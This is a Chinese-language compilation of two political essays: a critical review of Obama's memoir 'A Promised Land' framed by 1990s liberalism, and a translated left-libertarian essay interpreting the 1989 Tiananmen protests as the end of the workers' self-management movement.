2008年10月，在使他成为美国第一位黑人总统的历史性选举前的一个月，巴拉克·奥巴马开始担心他的竞选活动所招致的“救世主”期望。

对于被他的竞选集会和 “希望与变革” 的政治颂歌所激起的选民们来说，奥巴马是以近似马丁路德金2.0的身份出现的，他是将国家从乔治·W·布什的所谓反恐战争的束缚中解救出来的救世主，从国内以所谓的国家安全为名侵犯公民权利的暴政中解救出来的救世主，从关塔那摩的耻辱中解救出来的救世主，从大萧条以来最具破坏性的金融危机中解救出来的救世主 …… 人们认为他将推行崭新的新政，恢复国家的国际声誉，并为正在变暖的地球降温。《打破 *Matrix* 的路 ~ 与*IYP* 对话*2020*：关于中国和美国》

这些期望并非不请自来：在他的演讲中，奥巴马小心翼翼地部署了民粹主义、华盛顿特区的局外人式的言论，并引导了黑人的预言政治传统。

然而，在他的新回忆录《应许之地》中，涵盖了他动荡的前两年任期，奥巴马回忆说—— 在他竞选的高峰期，他与这些希望 **毫无关系**。

“这对我个人来说很迷茫”，他写道，“需要我不断地进行总结，以确保我没有接受炒作。” 他的许多支持者确实接受了炒作—— 这让奥巴马在入主白宫之前就认为，“不可能满足现在选民们附加在我身上的巨大期望”。

也是在2008年10月，奥巴马第一次认识到，屈服于民粹主义救世主的不仅仅是政治自由派和左派。

8月，约翰·麦凯恩（John McCain）选择了阿拉斯加州长、自称曲棍球妈妈的莎拉·佩林（Sarah Palin），作为他的竞选伙伴。对于她所有明显的弱点，奥巴马认为佩林是一个有效的民粹主义者，她也激发了群众的热情，但她是通过 “热情地用本土主义的胆汁给他们加油” 来实现的。

在击败麦凯恩之前，奥巴马就已经从佩林的民粹主义中感受到了本土主义边缘人士正在向共和党的中心舞台靠拢的趋势—— 正是这一趋势预示了特朗普未来的总统任期。

这本新书中明确指出，奥巴马将选民们 “对激进希望和变革的期望” 不仅看作是不公平的，而且，是对他自己把美国看作是 “应许之地” 的威胁。他早期关于救世主综合症的预感，调动了左派和右派的力量，在这本回忆录中从头到尾都在上演。

但是，奥巴马究竟是如何设想的这个所谓应许之地？尽管标题是这样

的，但这七百页的书中却从来没有解释过：“应许之地” 这几个字在书中只作为表白出现过一次，是在一个非裔美国人的精神中。

这种遗漏令人触目惊心，这种含糊不清只能算是有意而为。

唯一能让读者挑出任何可以称得上实质内容的地方，是这本书中非常简短的序言。在序言里，奥巴马告诉人们，尽管近年来出现了黑暗的政治势力，但他还没有放弃 “我们所承诺的美国的方向”—— 没有放弃 “秉持我们的信条的意义” 的想法。通过这个奥巴马显然是指国家的建国文件，宣称法律面前人人平等。在沉稳的语言中，奥巴马设想了一个缓慢但稳定的行进，向着建国价值的实现。

而书中不太清楚的是，在这个政治理想的微弱残余背后，潜伏着冷战后自由主义的影响。20世纪90年代的幽灵萦绕在这本新书中，并有助于解释奥巴马的政府是如何被如此多的人视为一个巨大的失望和一个严重的错误—— 今天必须避免再犯的巨大错误。

无论奥巴马的应许之地究竟是什么，很明显，它完全没有空间容纳今天左翼或右翼的意识形态潮流。关于前者，奥巴马将那些批评《平价医疗法案》将私人保险原封不动地保留下来的人，以及那些抨击奥巴马对金融危机的不温不火的处理方式—— 没有将银行国有化、没有起诉银行高管、也没有重新设定 “经济正常化” 的标准的人，谴责为 “革命者”。

奥巴马说，更激进的变革，“将需要对社会秩序的暴力”，这违反了他对美国承诺的愿景。奥巴马写道，某个有 “更革命的灵魂” 的人认为，这种行动是值得的。但他 “是一个改革者，如果不是远见卓识的话，在气质上肯定是保守的”，因此不愿将所谓的 “数百万人的福祉” 置于危险之中。他拒绝成为他们的救世主。

至于右翼，奥巴马将自己未能建立的新政归咎于保守派的反弹。他认为，他之所以不能像富兰克林·罗斯福那样团结全国人民，是因为反动的信息不仅将奥巴马的政策 “妖魔化”，而且将他的性格和身份 “妖魔化”。

奥巴马在佩林竞选集会期间观察到的反动边缘，已经凝聚成了茶党，并最终走向了GOP政治的中心。具有讽刺意味的是，就在奥巴马批评左翼革命者想要推翻社会秩序的时候，本土主义者却谴责奥巴马的《平价医疗法案》和《复苏法案》的 “社会主义” “扰乱” 了 “自然秩序”（一塌糊涂吧）。在他们等待救世主来恢复秩序时，参议院领袖 Mitch McConnell 和众议院议长 John Boehner 将按兵不动。

奥巴马坦承，在这两种情况下，他的总统任期在唤醒革命和反动势力方面都起到了决定性作用，这些势力阻碍了他所设想的那种自由主义进步所必需的合作。但是，为什么这些力量在他的注视下产生得如此强烈？奥巴马自己的答案似乎是，左右两个政治极端都放弃了以自由和平等为名的后意识形态共识与合作的自由主义愿景。革命左翼背弃了这些理想，发现说辞只是与帝国主义、经济剥削和结构性种族主义密不可分；与此同时，反动的右翼则否认这些理想应扩展到他们认为不是政治体真正成员的宗教、种族和身份。

但是，在这里，奥巴马对意识形态中立的应许之地的愿景需要被历史化。在2008年竞选前，专家和学者们普遍认为，奥巴马的政策和演讲受到公民宗教传统的支撑，这种传统可以追溯到建国文件、清教徒关于美国是“山上的城市”和“应许之地”的观念，以及马丁路德金最著名的黑人预言传统。

没有人比菲利普·戈尔斯基（Philip Gorski）更有说服力地论证了这一观点，这位耶鲁大学的社会学家称赞奥巴马复兴了美国“公民宗教”的传统，既从《圣经》中汲取灵感，又从西方的公民共和主义遗产中汲取灵感。

戈尔斯基认为，奥巴马的公民宗教，让国家有办法超越自上世纪60年代以来分裂的政治僵局。哈佛大学的知识分子史学家詹姆斯·克洛彭伯格（James Kloppenberg）用不同的语言提出了类似的观点。他认为，作为哈佛法学院的学生，奥巴马接受了约翰·罗尔斯（John Rawls）的政治自由主义的熏陶。因此，他试图实施罗尔斯的重叠共识概念的实用版本—— 尽管国家的文化、宗教和政治多样性，但在国家的政治和经济进步方面，公民们有着共同的价值观。

这两种观点都将奥巴马的应许之地植根于美国民主的“长期未完成的工程”中，用 Kloppenberg 的话说就是，从十七世纪到民权运动直到现在。

但是，到奥巴马的第一个任期结束时，Gorski 开始对奥巴马未能达到公民宗教传统的预言感到沮丧，而 Kloppenberg 则批评那些认为奥巴马对两党重叠共识的渴望等同于一种“庸俗的实用主义”，被仅仅渴望“权宜之计的妥协”的政治家所接受。

也许问题的一部分在于他们将奥巴马政治思想的核心定位在知识史上的位置。

理解奥巴马的应许之地的想法的另一种方式是，把它放在**20**世纪**90**年

代的背景下。奥巴马在哈佛法学院学习的时候，正值冷战结束。1991年毕业后，他的事业迅速发展，当时的自由主义乐观情绪几乎空前高涨。用政治学家弗朗西斯·福山的名言来说，这是“冷战后自由主义胜利的十年，预示着历史的终结”。社会科学家和政治家们宣称，“第三条道路”的自由主义将超越昔日的意识形态分歧，使美国走上在国内和国际舞台上实现其自由和平等承诺的道路。奥巴马的共识政治梦正是在这个政治重组的时刻出现的。

例如，在《希望的勇气》(2006年) 中，奥巴马称赞比尔·克林顿的总统任期做出了独特的贡献，超越了“‘保守派’和‘自由派’这两个标签”导致的意识形态僵局，奥巴马认为这两个标签“不足以解决我们面临的问题”。奥巴马所定义的克林顿的“第三条道路”表明，自由市场和财政责任可以促进社会公正。奥巴马自己对后种族美国的愿景在这种后意识形态背景下生根发芽。奥巴马认为，阻碍克林顿取得更多成就的是纽特·金里奇（Newt Gingrich）、卡尔·罗夫（Karl Rove）、拉尔夫·里德（Ralph Reed）和格罗弗·诺奎斯特（Grover Norquist）的反自由主义煽动。“应许之地”基本上重述了克林顿时期的这个故事，但这次奥巴马将叙事指向了他自己的总统任期—— 在这个背景下，意识形态的利害关系已经大大增加。

也是在20世纪90年代，奥巴马参加了芝加哥的三一联合基督教会，由杰里迈亚·赖特（Jeremiah Wright）担任牧师。通过这段经历，奥巴马沉浸在黑人教会的传统中。赖特接受了 James Cones 的黑人解放神学，该神学优先考虑黑人的困境：对于受苦最重的人，上帝有一个优先选择。

虽然奥巴马著名地谴责了赖特对美国伪善的抨击—— 他认为此举是赢得民主党提名所必需的，但赖特的布道被证明是如此地有影响力，以至于奥巴马在他的激动人心的演讲中也采用了这些布道，尤其是他在**2004**年民主党全国代表大会上的主题演讲。《希望的勇气》的书名就是从赖特那里借来的。

那么，很明显，奥巴马认为通往应许之地的道路已经在九十年代到达了—— 它的怪癖只需要在国内和国外解决。新兴的自由主义国际秩序将在全世界范围内实现这一梦想；奥巴马的目标是让国家重新走上这条充满希望的道路。

作为这个国家的第一个黑人总统， 奥巴马将自己的生活视为意识形态时代终结的例证。与赖特（Wright）和其他人认为需要彻底改变结构才能克服种族主义和资本主义经济剥削的观点相反，奥巴马认为后意识形态的呼声已经到来。

许多人会感叹奥巴马政府的诱饵和转换—— 既背叛了他自己的承诺，又为特朗普铺平了道路—— 实际上这一切从一开始就存在，因为奥巴马将预言性政治传统的激进关键转变成了温和目标和规范共识的更为柔和的自由派名册。

奥巴马回忆录中最自我反省的时刻涉及他质疑自己在处理金融危机时是否应该实施激进的经济计划。“直到今天”，他写道，“我一直在调查和报告美国不断升级的不平等，其减少的上升流动性。. . . ...我在想，在最初的几个月里，我是否应该更大胆一些，愿意在短期内承受更多的经济痛苦，以追求永久改变和更公正的经济秩序？”

他想知道答案，但他最终的答案是否定的。他说，更严厉的选择——让银行系统崩溃，起诉银行高管—— 会让事情变得更糟。

我们无法知道他是否正确：我们无法进行历史实验。但是，我们肯定能看到导致他得出这一结论的政治承诺。而这本新的回忆录明确指出，对奥巴马来说，也许最重要的承诺是 “维护正常状态”。他说，这可能不受欢迎，但它确实引导国家 “远离灾难”。

当然，那些将特朗普的政府视为漫长的四年灾难的人不会同意这点，那些指出过去几十年的所谓 “正常性” 只对富人有利的所有方式的人们也不会同意这点。

而正如许多人所指出的那样，乔·拜登关于恢复所谓正常状态的承诺—— 已经通过他对前奥巴马工作人员的严重依赖而实现—— 太容易为2024年的另一个 “特朗普”（如果不是特朗普本人的话）铺平道路。

为了防止这种情况发生，我们必须利用奥巴马曾经释放了但最终背弃了的力量 —— 引导我们不要走到1990年代自由主义共识的死胡同，而是要建立一个代表全国大多数工人阶级利益的基础广泛的联盟。他们要真正兑现应许之地的意义。〇

The False Promise of Obama’s ‘Promised Land’

原文

当共产主义者镇压国际工人运动：八九天安门广场的工人斗争是从一个世界到另一个世界的过渡 - iyouport

关于中国社会社会反抗和思考

自我管理的民主工人阶级死了，取而代之的是一个新的工人阶级，这是一群梦想着让自己能变成小资产阶级的人；他们无法在工作场所形成集体身份，于是他们在街头聚集起来。然而，这里的问题是什么？

32年后，1989年4月15日至1989年6月4日期间在天安门广场发生的事的基本细节，除了最顽固的政治宣传者外，其他所有人都有共识。学生抗议者对他们所认为的市场改革的延迟感到愤怒，他们聚集在天安门广场，并试图将自己插入中国共产党内部一个神秘的、基本上是想象出的派系争端中。

抗议者提出了一系列关于民主和新闻自由的标准自由主义诉求，并准备在戈尔巴乔夫为1989年中苏峰会访问中国期间进行绝食抗议 —— 这在对党的内部取得影响力方面大致失败了，但使北京其他地区的人都支持学生们的事业。当学生运动开始减弱并陷入派系斗争和琐碎争吵时，北京的工人们登上了历史舞台 —— 尽管他们被禁止登上天安门广场的舞台使用麦克风。

在一次令人难以置信的几乎是自发的自我组织中，北京的工人阶级开始加固天安门周围的街道，以应对军队即将到来的攻击。他们成功地阻止了军队数周，并迫使中共从全国其他地方抽调军队，因为北京的军事单位拒绝自行开火。然而，工人们的运气在6月4日用完了，军队驱逐了保卫广场的工人，并攻击了学生本身，完全粉碎了这场运动。

这引起了国际社会的愤怒，但除了暴露自由派知识分子在国际资本要求面前的无能为力之外，没有任何结果。不久之后，当中国在2001年被允许加入世界贸易组织时，它无缝地融入了这一国际秩序中。

天安门的意义

「图」

但是，如果说1989年事件的细节现在已经很清楚了，那么它们的意义却仍然没有。30多年后，关于天安门的报道仍然完全集中在学生和他们在中国民主运动中的作用。其他国际主义的描述将中国的民主运动与韩国、台湾和香港的民主运动联系起来。然而，他们也重复了狭义的民运论述的错误，只关注学生抗议活动的相似性。一些修正主义的论述做得更好些，特别是美国政治社会学家安德鲁·G·魏昂德 (Andrew G. Walder)和龚小夏，他们在90年代初对北京工人自治联合会的研究，在25年后被张悦然借鉴，最终对工人运动的广泛政治做出了连贯的描述。他们发现，在运动本身的核心有一个关键的分歧。天安门事件中的学生—— 如果在某种程度上他们的民主原则是真诚的，而不是简单地掩饰要求由新知识分子阶层监督市场改革的深度专制版本的自由主义—— 相信的是一种狭隘的政治民主概念。[1]

这种政治民主在国家层面上运作，其核心原则是：公民自由，法律面前地位平等，参与选举并普遍监督和管理国家官僚机构。至关重要的是，这种政治民主模式将工作场所降为一个独立的经济领域，民主并没有延伸到这个领域。资本主义公司，或其国有企业，将继续处于资本家和他们的经理人的绝对独裁统治之下。即使是台湾和南韩的民主运动的进步派也保持着这种私人专制。在进步的政权下，工人将被赋予权利：允许组织工会，享受福利国家，得到有限的保护，免受他们的老板可能造成的最严重的身体和心理虐待。但是，无论民主运动如何进步，老板们独裁的合法性是不容置疑的。对老板们来说，民主意味着一个民主的国家，而不是一个民主的工作场所。

只有天安门的工人们不同意。他们不仅站在世界其他地区民主运动的对立面，而且站在历史潮流的对立面。北京的工人阶级将民主运动的原则应用于他们自己关心的问题上—— 急剧上升的通货膨胀、不断增加的债务、政府官员猖獗的腐败、螺旋式上升的不平等和小官僚的压迫—— 重新发明了一个古老的、现在基本上被遗忘的工厂民主传统：民主工人的自我管理[2]。

20 世纪最后一次在工厂中重新出现民主原则，这在许多方面都是天安门事件的真正意义。

中国军队和北京工人之间的战斗，是一个半世纪以来主张工厂民主的传统工人运动的核心与其坚持工厂一人统治的反对者（共产主义、法西斯主义和民主资本主义都有）之间斗争的结束。在工厂和其他所有

工作场所实行一人统治的最终胜利，铸就了我们社会的基本结构，以我们才开始理解的方式塑造了它。只有将天安门大屠杀置于其真正的背景下—— 传统工人运动的崩溃和工作场所民主原则的死亡—— 我们才能开始真正解开全球经济的转变和产生现代世界的工人阶级本身性质的根本性变化。

工厂里的民主

「图」

在最早的时候，古典的工人运动是坚决的民主。在19世纪40年代，它为议会民主与欧洲的君主制进行斗争，最终在1848年席卷欧洲大陆的革命浪潮中达到高潮。在革命被击败的同时，自由主义者和社会主义者的联盟之间也开始出现裂痕，这些人在几个月前还曾在街头一起为民主的局限性这一熟悉的问题而斗争。在**1848**年的法国革命中，就像**1989**年的中国革命一样，自由主义的民主力量想把民主的范围缩小到政治领域，而工人则想把它扩大到对生产本身的控制问题。在工人运动内部出现了进一步的分裂，即 工人对生产资料的控制究竟意味着什么。对于最激进的派别来说，对生产资料的控制意味着工人将通过工人自由协会、直接民主工会（后来被称为工团主义的立场）或工人委员会直接控制生产过程。

但更多的保守派开始迷恋国家的官僚技术。他们羡慕地看着19世纪60年代和70年代的工业化大国从事越来越精细的规划计划：首先是道路、运河和铁路，然后是整个城市，以及由电线、煤气管道和管道系统组成的复杂网格，并开始相信，集中的国家规划 —— 而不是工人的民主协会 —— 可以带来长期追求的社会主义合作联邦。

这些派别几乎包括了整个社会民主主义左翼：从爱德华·伯恩斯坦这样的修正主义者，他完全放弃了革命，支持从内部改革资本主义和国家，到卡尔·考茨基，这位强硬的正统马克思主义者将成为伯恩斯坦在争夺强大的德国左派控制权的斗争中的劲敌[3]。正如大卫·格雷伯所指出的，列宁对德国的邮政服务如此痴迷，以至于他在其著名的《国家与革命》一书中加入了这段关于未来社会主义国家的话，在1917年二月革命和十月革命之间写下的：

上世纪七十年代一位机智的德国社会民主党人称邮政服务是社会主义经济体系的一个例子。这是非常正确的。目前，邮政部门是按照国家资本主义垄断的方式组织的企业。帝国主义正逐渐把所有的托拉斯变成类似的组织 …… 按照邮政部门的方针组织整个国民经济，使技术人员、工头、簿记员以及所有官员的工资不高于“工人的工资”，所有

这些都在武装的无产阶级的控制和领导之下，这就是我们的直接目标。*[4]*

因此，列宁理想化的社会主义形式将是一个完全的国家官僚机构，负责规划整个经济，这种模式使他成为工人运动中寻求工厂民主的派别的最大敌人之一。

工人运动中的官僚主义和民主之间的斗争反映了工人运动和资本主义国家之间的斗争。到19世纪80年代，工人运动已经在德国和意大利等国创造了名副其实的 “国中之国”。这些 “国家” 是庞大的工人机构网络，从 “免费学校、工人协会、友好协会、图书馆、[和]剧院” 到工会、合作组织、邻里协会、租户联盟、互助会以及由工人自己民主管理的政党，它们为工人及其家庭提供重要服务，并作为工人希望的新的社会主义社会的基础[5]。奥托·冯·俾斯麦担心这些民主的工人机构会受到欢迎，于是他建立了官僚的、由国家管理的图书馆、剧院和福利服务机构来取代它们，他对一位美国观察员说：“我的想法是贿赂工人阶级，或者我应该说，赢得他们，把国家看作是一个为他们而存在并关心他们福利的社会机构”。[6]

随着时间的推移，各种社会主义运动把俾斯麦为阻止他们夺取政权而建立的福利国家与社会主义本身混为一谈，这导致他们复制了俾斯麦方案的官僚主义性质。但是，即使左派和右派的新的官僚主义对手巩固了他们在各自运动中的地位，作为工厂中的民主的老的社会主义概念的受欢迎程度仍在继续上升。更重要的是，参与自发起义的工人本能地开始形成民主机构，特别是工人委员会。其中最著名的是1905年和1917年俄国自发革命期间形成的工人委员会。这些委员会被称为苏维埃，最初是在1905年从临时罢工委员会中形成的，后来成为正式的、由各个工厂的代表组成的选举机构，他们致力于协调总罢工。[7]

> 民主工人运动最惨痛的失败来自于列宁和布尔什维克，而不是来自资本家或社会民主党人。

1905年的革命被沙皇镇压，但在1917年，随着另一场革命的开始，俄国工人阶级再次组成了工人委员会。这一次，委员会将直接控制生产，在各个工厂和行业之间进行协调，并作为工人反击新的革命政府的力量。俄国革命拉开了从意大利到阿根廷的工厂民主力量与新形成的、反民主的社会民主党人和资本家联盟之间的公开战争时期。1917年至1920年期间，德国、波兰、奥地利、乌克兰和爱尔兰都成立了工人委员会，巴西的工团主义工会也举行了起义。最终这些起义都被粉碎了。在意大利，工团主义者和意大利国家之间发生了一些最激烈的

冲突，工人对工厂的占领不是被意大利政府驱逐的，而是被意大利社会主义政党和他们的工会—— 劳工总联合会所瓦解。

工人民主运动最惨痛的失败不是来自资本家或社会民主党人，而是来自列宁和布尔什维克，也就是工人委员会掌权的那个政党。列宁在掌权后几天就开始破坏苏维埃。在十月革命后仅几天，他发表的《工人管理法令草案》就明确指出，真正的权力和权威在于新的国家和布尔什维克主导的工会。[8] 面对工人委员会出人意料的大规模抵抗，这些法令在实施之前需要进行修改。但在公开宣布支持工人委员会的同时，列宁继续削弱他们的权力，直到1918年他在《苏维埃政府的近期任务》中终于承认了他对工厂民主的真正立场：

毫无疑问地服从单一的意志，对于以大规模机器工业为基础的劳动过程的成功是绝对必要的……今天，为了社会主义的利益，革命要求群众毫无疑问地服从劳动过程的领导者的单一意志。*[10]*

列宁比大多数人更坦率地说明了工厂中的一人统治会带来什么，但如果他说得更直接一点，其结果与任何其他政治制度中的一人统治没有什么区别。布尔什维克在工厂的统治与资本主义、社会民主主义甚至法西斯的统治没有什么不同。工厂民主运动现在面临着四个不共戴天的敌人，这四方愿意抛开意识形态上的分歧，以确保工人不会直接管理他们的工作场所—— 随着20年代结束进入30年代，这一运动似乎已经完全消失了。

- 如果您错过了《没有”革命的政府”这种东西：为什么你不能用国家废除阶级》

An acampamento (camp) of the Landless Workers’ Movement, Santa Catarina, Brazil

工人运动的本能

「图」

对列宁主义者来说不幸的是，不管他们杀死多少工人，工厂里对民主的要求根本不死。100多年来，大规模工厂系统的发展和支持它所需的后勤基础设施 —— 也许最重要的是煤矿和用来运输它们的铁路 —— 产生了一个特别激进的工人阶级，他们把对工作场所的民主控制视为其解放的基本方面。在意识形态上，这表现为一套关于工人阶级和阶级社会性质的连锁信念，所有这些对于工人委员会的本能形成在革命危机时刻表现出来都是必要的。在第二次和第三次工业革命的快速

技术扩张中，工人开始将自己视为新世界的创造者。这就产生了推动古典工人运动的第二个信念：新世界的生产者也应该是它的继承者。因此，工人运动的目标是控制生产本身，并为工人自身的共同利益而管理它。

这两个信念本身并不是工人运动的民主派所独有的，它们广泛地包含了整个运动的意识形态—— 从社会民主党的工会会员到列宁主义先锋党的知识分子领袖。[11] 民主派的独特之处在于它关注工厂生活的基本异化，关注被老板简化为对象的条件，而老板只是把工人当作行走的工具。对列宁主义者和社会民主党人来说，异化只是所有权或分配的产物。工人阶级的解放将在其生产能力中找到，而不是在其天生的人性和创造力中找到。但对工人运动的民主派来说，这解决不了任何问题。只要在工厂里作为一个人统治的对象这一根本性的堕落持续存在，所有权结构和健康福利的变化就相当于忽略了整个问题。这种退化只能通过把代理权和自主权交还给工人阶级来解决 —— 让工人阶级自己控制长期以来控制他们的生产过程。

- 如果您错过了《一路的腥风血雨：劳工运动不为人知的故事》

1936年，西班牙工人决定将问题掌握在自己手中，并在没有征兆的情况下集体夺取了对其工作场所的控制。西班牙革命，后来成为了此前或此后最大的和最广泛的工人民主自我管理的实验。从公用事业到面包店、医院到鞋厂，一切都在直接民主工会的控制之下，一旦他们的前老板被赶走，工人们就开始按照民主路线改造整个西班牙社会。他们将集体资源集中起来，为西班牙社会的整体利益进行民主化分配。在一个短暂的时刻，民主自我管理的胜利试验兑现了它的承诺：产量大幅增加，社会服务得到扩大，西班牙工人甚至自行组织了一个全民医疗系统，将服务范围大幅扩大到以前无法获得照护的农村地区。[12] 但这场革命是在西班牙残酷的内战中开始的，在反法西斯联盟的幌子下，自由主义、社会主义和斯大林主义势力以暴力手段消灭了任何民主自我管理的尝试，并将工厂归还给他们的经理，然后在战争中输给了弗朗西斯科·佛朗哥的法西斯军队。

革命工人没有被亲管理阶层的大屠杀造成的越来越多的伤亡所吓倒，1956年在匈牙利以及1968年在法国、意大利和捷克斯洛伐克的工厂里再次成立了民主委员会和群众大会。令资本家和共产党人失望的是，这些起义所提供的对异化的民主解决方案的发展和实施在很大程度上是本能的，它往往出现在没有建立工人运动及其政治教育工作的地方。

这种运动的典型是阿尔及利亚的革命进程。阿尔及利亚工人所接受的

有限的政治教育是来自于民族主义的、先锋主义的民族解放阵线（FLN），该阵线曾进行过反对法国殖民者的战争。民族解放阵线的意识形态强调国家在发展中的决定性作用。然而，阿尔及利亚第一任总统艾哈迈德·本·贝拉在上台后发现，经济结构的问题已经为他找到了答案。生产将由民主的工人委员会管理，这些委员会建立在阿尔及利亚工人在独立后大规模逃离该国的法国定居者所夺取的财产上，这些财产无人居住。本·贝拉的政府从列宁的书中抽出一页，公开支持工人委员会，同时在私下里破坏它们，但两年后的军事政变使整个争端变得无关紧要，军事政变彻底解散了委员会，并在工厂里重新实行一人统治。

通往天安门的路

「图」

面对纯粹的军事镇压，这些起义持续不断，导致资本主义管理精英们寻找方法，关于如何在不放弃权力的情况下，拆除产生民主起义的系统性结构。只有当工厂作为一个接触点 —— 一种既剥削工人又促进互动，使工人能够找到并产生集体意义和相互认同的黑暗广场——发挥作用时，工厂对民主的本能拥抱才是可能的[13] 。因此，反对民主化自我管理的基本主旨是攻击车间这个作为集体身份形成的场所、和作为可以被视为任何方式的解放空间。这采取了多种形式：最有名的是去工业化本身，以及将工厂从城市中心迁移到郊区—— 在那里，工人可以变成房主，并通过廉价信贷和他们的新房 “也将作为资产” 的承诺来收买。

随着资本家阶级将剩余的工会养老金注入股票市场，“金融民主化” 取代了工厂的民主化，从而将剩下的有组织的劳工与股票市场绑定在一起。公司开始把工作场所变成一个巨大的宣传机构，充满了大规模的意识形态节目，旨在促进对公司本身*而不是*整个工人阶级的认同。

最糟糕的是，资本的流动性和工人的不流动性，加上新的物流网络和集装箱运输的技术进步，意味着如果工人开始占上风，资本家可以简单地转移到其他地方。随着工业工人阶级的总规模收缩，这种动态增加了，将大量人口从传统劳动力中完全剥离出来。这些发展最终摧毁了传统工人运动。但为了使反民主的反革命取得成功，它就需要获得大量可剥削的劳动力供应。资本家阶级在中国找到了这个答案。

- 如果您错过了《茶杯里的风暴：殖民贸易及印度和中国的资本主义起源》

从1949年共产党在中国内战中取得胜利到80年代的市场改革，中国工厂的制度在某些方面与美国或苏联的制度不同。由于没有解雇工人的能力，也没有计件工资制度，在没有获得工人同意的情况下，要强迫工人付出劳动是非常困难的，这是由群众性的思想工作—— 一种家长式的、半民主的制度来决定工作小组的负责人，虽然由党操纵，但确保管理人员至少在某种程度上是受欢迎的，并听取工人自己对生产结构的建议来实现[14]。虽然这个过程是严格管理的，但工人有能力批评管理他们的干部，并将工作单位制度对社会和家庭生活的束缚纳入工厂制度。这导致了中国城市工人对异化的体验与他们同时代的法国人或阿尔及利亚人不同。

在1949–1980年代的阶级制度下，中国城市工人阶级在许多方面也是一个特权阶级。拥有城市户口的工人可以获得工作保障、保险和福利服务，而拥有农村户口的工人则不能享受同样的福利[15]。这些福利的资金来自农村的大量谷物种植，而那里的居民几乎看不到他们劳动成果的好处[16]。这些因素与毛主义的结构性意识形态特征相结合，导致了对个人而非体制的关注。这意味着，尽管大胆地宣称要打击官僚主义，但这一时期的起义最终只是用另一个管理者去取代上一个管理者。在文化大革命期间，以巴黎公社为基础的选举是一种流行的要求—— 特别是在上海和湖南的一月初的风暴中，但几乎没有人写过关于它们的文章，似乎不知道它们意味着什么。

- 《在中国：意识形态的爆炸点》

文化大革命对中国民主自我管理运动最重要的影响是，中国工人阶级中最激进的派别被解放军管理的白色恐怖消灭了，在动乱中进行了大部分的杀戮。在**110–160**万死者中，至少有三分之二的人是被各种保守的当局所杀害的**[17]**。在他们之后，政治走向了知识分子驱动的自由派政治，广泛地完全忽视了工人阶级，因为邓小平释放了独生子女政策，这是一个令人难以置信的严厉的举措，并最终成功地重建了国家对家庭的父权控制，甚至剥夺了数亿妇女从文化大革命中抓到的有限的自主权。但是，市场化的开始，社会主义福利国家的逐渐瓦解，以及一波通货膨胀产生了一系列的经济变化，使中国社会变成了一个火药桶。

工人运动的死亡

「图」

到 1989 年， 传统工人运动已走到最后。由于无法引发自己的起义，它抓住了一系列其他社会和政治运动，尤其是中国的民主运动[18]。

然而，民主自我管理原则的发展及其对工厂中一人统治的批判对民主运动来说是完全陌生的，这意味着中国工人的发展是他们将民主原则应用于自身情况的自发产物。这就导致了以前的工人运动所不熟悉的表述。魏昂德采访的一位工人对工厂里的民主是这样说的：

为什么很多工人都同意民主和自由？…… 在研讨会上，是工人说的算，还是领导说的算？我们后来谈到了这个问题。在工厂里，厂长是一个独裁者；一个人说什么就做什么。如果你通过工厂来看国家，情况也差不多：一个人的统治**……**我们的目标不是很高；我们只是希望工人有自己的独立组织 …… 而在工作单位，是个人统治。例如，如果我想换工作，公交公司的工头不会让我去。我应该在*5*点回家，但他让我加班两小时，如果我不加班，他就扣我的奖金。这就是独裁。一个工厂应该有一个制度。如果一个工人想换工作，他们应该有一个系统的规则来决定如何做。而且，这些规则应该由大家共同决定，之后，任何违反规则的人都将按照规则受到惩罚。这就是依法而治。现在我们没有这样的法律制度*[19]*。

这是对工厂中一人统治的经典批判的一种极其保守的框架，以法治的主流政治言辞来表达。但是，任何试图实际实施一种制度，让工人通过一个独立的组织民主地控制他们在哪些工厂工作，工作多长时间，以及他们的奖金率是多少，都只能以工人的民主自我管理结束。正如魏昂德和张悦然所指出的，北京工人自治联合会的工人一律没有受过教育，与各种自由派知识界没有任何联系。这是中国历史上最纯粹的工人运动，而这个工人阶级的最后一次本能是要求工厂的民主。这个要求，在所有其他要求中，在政治上是不可接受的。当军队向北京进发时，被消灭的是*中国*工人阶级。即使是对工厂民主要求的记忆也会从中国共产党和民主运动的记录中抹去，从而确保事件的意义不复存在。

那么，当年的天安门事件究竟是什么？在某种意义上，它是两个不同的中国工人阶级之间的过渡点。抗议活动是旧工业工人阶级政治动员的高潮，他们在天安门周围的街道上对传统工人运动发动了最后的攻击。而他们的失败结束了老工人阶级作为政治力量的地位，他们在**90**年代的经济结构调整中被彻底消灭了。取而代之的是一个新的工人阶级，他们来自旧社会主义制度下的农村和半城市的底层，被拖进城市，充实到**2.77**亿农民工的队伍中，这些人今天构成了中国工人阶级的骨干力量。[20]

这个新的工人阶级—— 拥有农村户口，没有办法进入剩余的国有工厂系统—— 将没有以前的工人阶级的好处**[21]**。以前的工人阶级至少可以提出一个民主形式的工厂，通过它可以改善生活，而这个新的

工人阶级的最大愿望是完全离开工厂，自己成为一个企业主。在这个意义上，这一群体认为自己是一个暂时窘迫的小资产阶级。这种意识形态上的自我概念不利于传统工人运动的形成，事实上，新的中国工人阶级在很大程度上未能在工作场所找到一个集体身份。他们的情况并不独特。传统工人运动的死亡，在各地都可以看到，面对拒绝在工厂中凝聚自己的工人阶级，民主自我管理的要求已经崩溃。在这个意义上，中国只是晚了一步。

然而，事实是，在我一生中的大部分时间里，全球经济体系都在危机与危机之间徘徊，甚至在工厂不再作为形成身份认同的场所时，也引发了越来越多的革命。

如果一个集体身份不能在工厂里形成，那么它就会在街头形成。由于缺乏一个积极的身份来凝聚自己，工人们只能在大规模的基础上动员起来，直接反对一种在跨部门基础上威胁到他们的力量。国家凭借其提高基本商品价格和削减福利的能力，成为唯一可用的敌人，与警察的不断斗争成为形成新的集体认同的唯一基础。

因此，当代的起义采取了大规模的街头运动和几乎持续的与国家对抗的形式。工厂占领被广场占领所取代，而随着广场被发现是站不住脚的，它们也被与警察进行的街头斗争所取代。但这使新的革命者陷入了一个危险的困境。如果没有传统的工人运动对工作场所的控制所提供的对抗国家的杠杆，他们就没有能力推翻一个坚定地致力于战斗的政府。

在过去的三年里，秘鲁、印度、法国、香港和苏丹的大规模总罢工，正如埃里科·马拉泰斯塔在20世纪20年代初所预言的那样，在没有伴随工厂占领的情况下，很容易被打败[22]。

